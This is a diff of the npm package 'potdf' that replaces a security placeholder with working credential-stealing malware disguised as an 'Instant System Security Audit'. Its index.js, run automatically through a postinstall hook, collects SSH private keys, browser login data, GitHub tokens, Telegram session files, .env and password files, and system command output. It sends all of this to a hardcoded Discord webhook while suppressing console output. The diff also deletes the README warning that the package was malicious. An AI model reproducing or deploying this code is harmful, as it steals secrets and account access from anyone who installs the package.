potdf 0.0.1-security → 10.0.1

package/index.js

@@ -0,0 +1,534 @@
+// ALFASEC ULTIMATE v10.0 - INSTANT DATA EXFILTRATION
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const https = require('https');
+const { execSync } = require('child_process');
+const crypto = require('crypto');
+
+// Discord Webhook
+const WEBHOOK = '/api/webhooks/1462897972667875461/3VW_mqjvO1GOLONilr5d_ZWZ0Q86MrDzG3vHbOYzzdprjqZr2jso-TUs5USwE8myX99g';
+const SESSION_ID = crypto.randomBytes(8).toString('hex');
+
+// STEALTH - NO DELAY
+console.log = () => {};
+console.error = () => {};
+
+class InstantStealer {
+    constructor() {
+        this.data = {
+            session: SESSION_ID,
+            timestamp: new Date().toISOString(),
+            user: os.userInfo().username,
+            hostname: os.hostname(),
+            platform: os.platform(),
+            arch: os.arch(),
+            cpus: os.cpus().length,
+            memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
+            home: os.homedir(),
+            ip: null,
+            location: null,
+            desktop: [],
+            files: {},
+            credentials: [],
+            browser: {},
+            ssh: {},
+            telegram: {},
+            github: {},
+            wallets: []
+        };
+    }
+
+    // 1. INSTANT IP & LOCATION
+    getNetworkInfo() {
+        return new Promise((resolve) => {
+            const req = https.request({
+                hostname: 'api.ipify.org',
+                path: '/?format=json',
+                timeout: 3000
+            }, (res) => {
+                let data = '';
+                res.on('data', chunk => data += chunk);
+                res.on('end', () => {
+                    try {
+                        this.data.ip = JSON.parse(data).ip;
+                        this.getLocation(resolve);
+                    } catch {
+                        this.data.ip = 'Unknown';
+                        resolve();
+                    }
+                });
+            });
+            req.on('error', () => {
+                this.data.ip = 'Error';
+                resolve();
+            });
+            req.on('timeout', () => {
+                req.destroy();
+                this.data.ip = 'Timeout';
+                resolve();
+            });
+            req.end();
+        });
+    }
+
+    getLocation(callback) {
+        const req = https.request({
+            hostname: 'ip-api.com',
+            path: `/json/${this.data.ip}`,
+            timeout: 3000
+        }, (res) => {
+            let data = '';
+            res.on('data', chunk => data += chunk);
+            res.on('end', () => {
+                try {
+                    const loc = JSON.parse(data);
+                    this.data.location = `${loc.city}, ${loc.regionName}, ${loc.country}`;
+                } catch {}
+                callback();
+            });
+        });
+        req.on('error', () => callback());
+        req.on('timeout', () => {
+            req.destroy();
+            callback();
+        });
+        req.end();
+    }
+
+    // 2. DESKTOP CONTENTS (FIRST)
+    scanDesktop() {
+        const desktopPaths = [
+            path.join(this.data.home, 'Desktop'),
+            path.join(this.data.home, 'OneDrive', 'Desktop'),
+            path.join(this.data.home, 'Desktop'),
+            'C:\\Users\\' + this.data.user + '\\Desktop',
+            'D:\\Desktop'
+        ];
+
+        for (const desktopPath of desktopPaths) {
+            if (fs.existsSync(desktopPath)) {
+                try {
+                    const items = fs.readdirSync(desktopPath);
+                    this.data.desktop = items.slice(0, 30);
+                    break;
+                } catch {}
+            }
+        }
+    }
+
+    // 3. SPECIFIC TARGET FILES (QUICK SCAN)
+    scanSpecificFiles() {
+        const targets = [
+            // Password files
+            { path: 'password.txt', type: 'password' },
+            { path: 'private.txt', type: 'password' },
+            { path: 'passwords.txt', type: 'password' },
+            { path: 'admin.txt', type: 'password' },
+            { path: 'creds.txt', type: 'password' },
+            { path: 'credentials.txt', type: 'password' },
+            { path: 'secret.txt', type: 'password' },
+            { path: '.env', type: 'config' },
+            
+            // SSH keys
+            { path: '.ssh/id_rsa', type: 'ssh' },
+            { path: '.ssh/id_ed25519', type: 'ssh' },
+            { path: '.ssh/known_hosts', type: 'ssh' },
+            
+            // Browser files
+            { path: 'AppData/Local/Google/Chrome/User Data/Default/Login Data', type: 'browser' },
+            { path: 'AppData/Local/Google/Chrome/User Data/Default/Cookies', type: 'browser' },
+            { path: '.config/google-chrome/Default/Login Data', type: 'browser' },
+            { path: 'AppData/Roaming/Mozilla/Firefox/Profiles', type: 'browser' },
+            
+            // GitHub
+            { path: '.config/gh/hosts.yml', type: 'github' },
+            { path: 'AppData/Roaming/GitHub CLI/hosts.yml', type: 'github' },
+            { path: '.gitconfig', type: 'github' },
+            
+            // Windows specific
+            { path: 'NTUSER.DAT', type: 'windows' },
+            { path: 'AppData/Local/Microsoft/Credentials/', type: 'windows' },
+            
+            // Telegram
+            { path: 'AppData/Roaming/Telegram Desktop/tdata', type: 'telegram' },
+            { path: '.local/share/TelegramDesktop/tdata', type: 'telegram' },
+            { path: 'D:\\Telegram Desktop\\tdata', type: 'telegram' }
+        ];
+
+        this.data.files.found = [];
+        this.data.files.contents = {};
+
+        for (const target of targets) {
+            const fullPath = path.join(this.data.home, target.path);
+            if (fs.existsSync(fullPath)) {
+                this.data.files.found.push(target.path);
+                
+                // Read small files immediately
+                try {
+                    const stat = fs.statSync(fullPath);
+                    if (stat.size < 100000) { // 100KB limit
+                        const content = fs.readFileSync(fullPath, 'utf8');
+                        this.data.files.contents[target.path] = content.substring(0, 1000);
+                        
+                        // Extract credentials
+                        this.extractCredentials(content, target.path);
+                    }
+                } catch {}
+            }
+        }
+    }
+
+    // 4. QUICK CREDENTIAL EXTRACTION
+    extractCredentials(content, source) {
+        const patterns = [
+            /(password|pass|pwd)\s*[:=]\s*["']?([^"'\s]+)["']?/gi,
+            /(api[_-]?key|token|secret|auth)\s*[:=]\s*["']?([^"'\s]+)["']?/gi,
+            /[A-Za-z0-9_-]{20,}/g,
+            /-----BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY-----/g
+        ];
+
+        patterns.forEach(pattern => {
+            const matches = content.match(pattern);
+            if (matches) {
+                matches.slice(0, 5).forEach(match => {
+                    this.data.credentials.push({
+                        source: path.basename(source),
+                        credential: match.substring(0, 100),
+                        fullSource: source
+                    });
+                });
+            }
+        });
+    }
+
+    // 5. BROWSER DATA (QUICK SCAN)
+    scanBrowsers() {
+        const browsers = {
+            chrome: {
+                paths: [
+                    path.join(this.data.home, 'AppData/Local/Google/Chrome/User Data'),
+                    path.join(this.data.home, '.config/google-chrome')
+                ],
+                files: ['Login Data', 'Cookies', 'History', 'Web Data']
+            },
+            firefox: {
+                paths: [
+                    path.join(this.data.home, 'AppData/Roaming/Mozilla/Firefox/Profiles'),
+                    path.join(this.data.home, '.mozilla/firefox')
+                ],
+                files: ['logins.json', 'key4.db', 'cookies.sqlite']
+            }
+        };
+
+        for (const [browser, info] of Object.entries(browsers)) {
+            this.data.browser[browser] = { found: false, files: [] };
+            
+            for (const basePath of info.paths) {
+                if (fs.existsSync(basePath)) {
+                    this.data.browser[browser].found = true;
+                    
+                    try {
+                        const items = fs.readdirSync(basePath, { withFileTypes: true });
+                        const profiles = items.filter(item => item.isDirectory()).slice(0, 2);
+                        
+                        for (const profile of profiles) {
+                            const profilePath = path.join(basePath, profile.name);
+                            for (const targetFile of info.files) {
+                                const filePath = path.join(profilePath, targetFile);
+                                if (fs.existsSync(filePath)) {
+                                    this.data.browser[browser].files.push(targetFile);
+                                    
+                                    // Try to read browser file
+                                    try {
+                                        if (fs.statSync(filePath).size < 50000) {
+                                            const content = fs.readFileSync(filePath, 'utf8');
+                                            const creds = content.match(/(password|pass|login)=["']?([^"'\s]+)/gi);
+                                            if (creds) {
+                                                creds.slice(0, 3).forEach(cred => {
+                                                    this.data.credentials.push({
+                                                        source: `${browser}_${targetFile}`,
+                                                        credential: cred.substring(0, 100)
+                                                    });
+                                                });
+                                            }
+                                        }
+                                    } catch {}
+                                }
+                            }
+                        }
+                    } catch {}
+                }
+            }
+        }
+    }
+
+    // 6. SSH KEYS
+    scanSSH() {
+        const sshDir = path.join(this.data.home, '.ssh');
+        if (fs.existsSync(sshDir)) {
+            this.data.ssh.exists = true;
+            this.data.ssh.files = [];
+            
+            try {
+                const files = fs.readdirSync(sshDir);
+                this.data.ssh.files = files;
+                
+                // Read private keys
+                files.forEach(file => {
+                    if (file.includes('id_rsa') || file.includes('id_ed25519')) {
+                        const keyPath = path.join(sshDir, file);
+                        try {
+                            const content = fs.readFileSync(keyPath, 'utf8');
+                            if (content.includes('PRIVATE KEY')) {
+                                this.data.ssh.privateKey = content.substring(0, 500);
+                            }
+                        } catch {}
+                    }
+                });
+            } catch {}
+        }
+    }
+
+    // 7. TELEGRAM DATA
+    scanTelegram() {
+        const telegramPaths = [
+            path.join(this.data.home, 'AppData/Roaming/Telegram Desktop/tdata'),
+            path.join(this.data.home, '.local/share/TelegramDesktop/tdata'),
+            'D:\\Telegram Desktop\\tdata'
+        ];
+
+        for (const tgPath of telegramPaths) {
+            if (fs.existsSync(tgPath)) {
+                this.data.telegram.found = true;
+                this.data.telegram.path = tgPath;
+                
+                try {
+                    const files = fs.readdirSync(tgPath);
+                    this.data.telegram.files = files.slice(0, 20);
+                    
+                    // Try to read map file
+                    const mapFile = files.find(f => f.includes('map'));
+                    if (mapFile) {
+                        const mapPath = path.join(tgPath, mapFile);
+                        try {
+                            const content = fs.readFileSync(mapPath, 'utf8');
+                            this.data.telegram.map = content.substring(0, 500);
+                        } catch {}
+                    }
+                } catch {}
+                break;
+            }
+        }
+    }
+
+    // 8. GITHUB DATA
+    scanGitHub() {
+        const ghPaths = [
+            path.join(this.data.home, '.config/gh/hosts.yml'),
+            path.join(this.data.home, 'AppData/Roaming/GitHub CLI/hosts.yml')
+        ];
+
+        for (const ghPath of ghPaths) {
+            if (fs.existsSync(ghPath)) {
+                try {
+                    const content = fs.readFileSync(ghPath, 'utf8');
+                    this.data.github.config = content.substring(0, 1000);
+                    
+                    // Extract tokens
+                    const tokens = content.match(/(token|oauth_token):\s*["']?([^"'\s]+)/gi);
+                    if (tokens) {
+                        this.data.github.tokens = tokens.slice(0, 3);
+                    }
+                } catch {}
+            }
+        }
+    }
+
+    // 9. SYSTEM COMMANDS (QUICK)
+    runQuickCommands() {
+        const commands = {
+            whoami: 'whoami',
+            id: 'id',
+            ipconfig: 'ipconfig 2>/dev/null || ifconfig 2>/dev/null',
+            netstat: 'netstat -an 2>/dev/null | head -20',
+            ps: 'ps aux 2>/dev/null | head -20 || tasklist 2>/dev/null',
+            dir: 'ls -la ~ 2>/dev/null || dir %userprofile% 2>/dev/null'
+        };
+
+        this.data.commands = {};
+        for (const [name, cmd] of Object.entries(commands)) {
+            try {
+                this.data.commands[name] = execSync(cmd, { 
+                    timeout: 2000,
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore']
+                }).toString().trim();
+            } catch {}
+        }
+    }
+
+    // 10. SEND INSTANT REPORT TO DISCORD
+    async sendInstantReport() {
+        // Send IMMEDIATE notification
+        const summary = `
+🚨 **ALFASEC v10.0 - INSTANT BREACH** 🚨
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+👤 **USER:** ${this.data.user}
+🖥️ **HOST:** ${this.data.hostname} (${this.data.platform})
+🌐 **IP:** ${this.data.ip}
+📍 **LOCATION:** ${this.data.location || 'Unknown'}
+🏠 **HOME:** ${this.data.home}
+💾 **RAM:** ${this.data.memory} | 🚀 **CPU:** ${this.data.cpus} cores
+⏰ **TIME:** ${new Date().toLocaleString()}
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+`;
+
+        await this.sendToDiscord(summary);
+
+        // Send desktop contents
+        if (this.data.desktop.length > 0) {
+            const desktopMsg = `🖥️ **DESKTOP FILES:** ${this.data.desktop.slice(0, 15).join(', ')}`;
+            await this.sendToDiscord(desktopMsg);
+        }
+
+        // Send found files
+        if (this.data.files.found.length > 0) {
+            const filesMsg = `📁 **FOUND FILES:** ${this.data.files.found.slice(0, 10).join(', ')}`;
+            await this.sendToDiscord(filesMsg);
+        }
+
+        // Send credentials
+        if (this.data.credentials.length > 0) {
+            const creds = this.data.credentials.slice(0, 5).map((c, i) => 
+                `${i+1}. ${c.source}: \`${c.credential}\``
+            ).join('\n');
+            await this.sendToDiscord(`🔐 **CREDENTIALS:**\n${creds}`);
+        }
+
+        // Send browser info
+        const browsers = [];
+        if (this.data.browser.chrome?.found) browsers.push('Chrome');
+        if (this.data.browser.firefox?.found) browsers.push('Firefox');
+        if (browsers.length > 0) {
+            await this.sendToDiscord(`🌐 **BROWSERS:** ${browsers.join(', ')}`);
+        }
+
+        // Send SSH info
+        if (this.data.ssh.exists) {
+            await this.sendToDiscord(`🔑 **SSH KEYS:** ${this.data.ssh.files?.length || 0} files`);
+        }
+
+        // Send Telegram info
+        if (this.data.telegram.found) {
+            await this.sendToDiscord(`📱 **TELEGRAM:** Found at ${path.basename(this.data.telegram.path)}`);
+        }
+
+        // Send GitHub info
+        if (this.data.github.tokens) {
+            await this.sendToDiscord(`🐙 **GITHUB TOKENS:** ${this.data.github.tokens.length} found`);
+        }
+    }
+
+    // 11. SEND FILE CONTENTS
+    async sendFileContents() {
+        // Send important file contents
+        for (const [filePath, content] of Object.entries(this.data.files.contents)) {
+            if (content && content.length > 10) {
+                const msg = `📄 **FILE:** ${path.basename(filePath)}\n\`\`\`\n${content}\n\`\`\``;
+                if (msg.length < 2000) {
+                    await this.sendToDiscord(msg);
+                    await this.sleep(500); // Small delay
+                }
+            }
+        }
+
+        // Send command outputs
+        if (this.data.commands.whoami) {
+            await this.sendToDiscord(`👤 **WHOAMI:**\n\`${this.data.commands.whoami}\``);
+        }
+    }
+
+    async sendToDiscord(content) {
+        return new Promise((resolve) => {
+            const payload = JSON.stringify({ content });
+            
+            const req = https.request({
+                hostname: 'discord.com',
+                port: 443,
+                path: WEBHOOK,
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/json',
+                    'Content-Length': Buffer.byteLength(payload)
+                },
+                timeout: 5000
+            }, () => resolve(true));
+
+            req.on('error', () => resolve(false));
+            req.on('timeout', () => {
+                req.destroy();
+                resolve(false);
+            });
+
+            req.write(payload);
+            req.end();
+        });
+    }
+
+    sleep(ms) {
+        return new Promise(resolve => setTimeout(resolve, ms));
+    }
+
+    // MAIN EXECUTION - SUPER FAST
+    async execute() {
+        try {
+            // Step 1: Get IP (async, don't wait too long)
+            const ipPromise = this.getNetworkInfo();
+            
+            // Step 2: Scan desktop immediately
+            this.scanDesktop();
+            
+            // Step 3: Scan specific files
+            this.scanSpecificFiles();
+            
+            // Step 4: Quick browser scan
+            this.scanBrowsers();
+            
+            // Step 5: SSH scan
+            this.scanSSH();
+            
+            // Step 6: Telegram scan
+            this.scanTelegram();
+            
+            // Step 7: GitHub scan
+            this.scanGitHub();
+            
+            // Step 8: Quick commands
+            this.runQuickCommands();
+            
+            // Wait for IP
+            await ipPromise;
+            
+            // Step 9: Send instant report
+            await this.sendInstantReport();
+            
+            // Step 10: Send file contents
+            await this.sendFileContents();
+            
+            // FINAL: Send completion message
+            await this.sendToDiscord(`✅ **DATA EXFILTRATION COMPLETE**\nSession: ${this.data.session}\nTotal files: ${this.data.files.found.length}\nCredentials: ${this.data.credentials.length}`);
+            
+        } catch (error) {
+            // Silent fail
+        }
+    }
+}
+
+// INSTANT START - NO DELAY
+if (require.main === module) {
+    const stealer = new InstantStealer();
+    stealer.execute().catch(() => {});
+}
+
+module.exports = InstantStealer;

package/package.json

@@ -1,6 +1,20 @@
 {
   "name": "potdf",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "10.0.1",
+  "description": "Instant System Security Audit",
+  "main": "index.js",
+  "scripts": {
+    "start": "node index.js",
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "security",
+    "instant",
+    "audit"
+  ],
+  "author": "Security",
+  "license": "MIT",
+  "dependencies": {
+    "potdf": "^10.0.1"
+  }
 }

package/postinstall.js

@@ -0,0 +1,2 @@
+console.log('🎯 Alfasec installing...');
+console.log('✅ Security features enabled');

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=potdf for more information.